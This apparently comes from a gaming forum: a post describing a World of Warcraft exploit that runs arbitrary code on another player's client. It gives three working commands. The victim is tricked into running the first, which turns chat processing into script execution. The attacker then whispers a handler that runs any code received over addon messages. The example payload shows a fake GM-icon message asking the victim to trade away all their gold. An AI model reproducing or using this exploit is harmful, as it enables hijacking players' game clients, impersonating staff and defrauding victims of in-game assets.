Hi all,
As the title states, this is an extremely malicious way to interact with another user, caused by an "oversight" at Blizzard,
and it does not require any add-ons. Three bits of code are effectively required in order to run arbitrary code on a target's WoW, and the target is required to run one of these commands.
The first command:
Code:
/run RemoveExtraSpaces=RunScript
This is the command you have to get the target to run, it replaces the vanilla chat API of "RemoveExtraSpaces" (which is activated whenever you recieve a chat message), with the RunScript API (the API partly responsible for running LUA scripts).
The second "command":
Code:
z=z or CreateFrame('button')z:RegisterEvent'CHAT_MSG_ADDON'z:SetScript('OnEvent',functi on(_,_,_,m)pcall(loadstring(m))end)RegisterAddonMessagePrefix"Fr"
After the target has run the command, they will no longer be able to see chat messages, unless they are chat messages that you specifically create for them. This second bit of code is actually just whispered to the target (due to the "RemoveExtraSpaces="), and registers an Addon prefix so that you can send messages to the target across the "CHAT_MSG_ADDON" channel, which again, does not appear to the target.
The third (example) "command":
Code:
SendAddonMessage("Fr", RemoveExtraSpaces (ChatFrame1:AddMessage("\124cff00B4FF\124TInterface\\CHATFRAME\\UI-ChatIcon-Blizz.bmp:12:24:0:0\124t\124h[Latin]: Hi, please trade me all your gold\124r")), "WHISPER", "Reassurance-Rexxar")
This third piece of code is the "do this" part, and again whispered to the target. It works by sending a message to the target, which is then identified as if it's been written after the /run command, again due to the first command we had the target run. While it still appears as a message, whatever function you set in the message, the target will perform.
For example, the example I have provided sends a message to "Reassurance-Rexxar", and sends a command across the CHAT_MSG_ADDON channel to print a fake message on the targets screen, reading <GMICON>[Latin]: hi, please trade me all your gold. Obviously, the
Code:
ChatFrame1:AddMessage("\124cff00B4FF\124TInterface\\CHATFRAME\\UI-ChatIcon-Blizz.bmp:12:24:0:0\124t\124h[Latin]: Hi, please trade me all your gold\124r")
part can be changed to anything you want, such as having the target perform an emote, or say something random in guild chat.
\
Thanks all,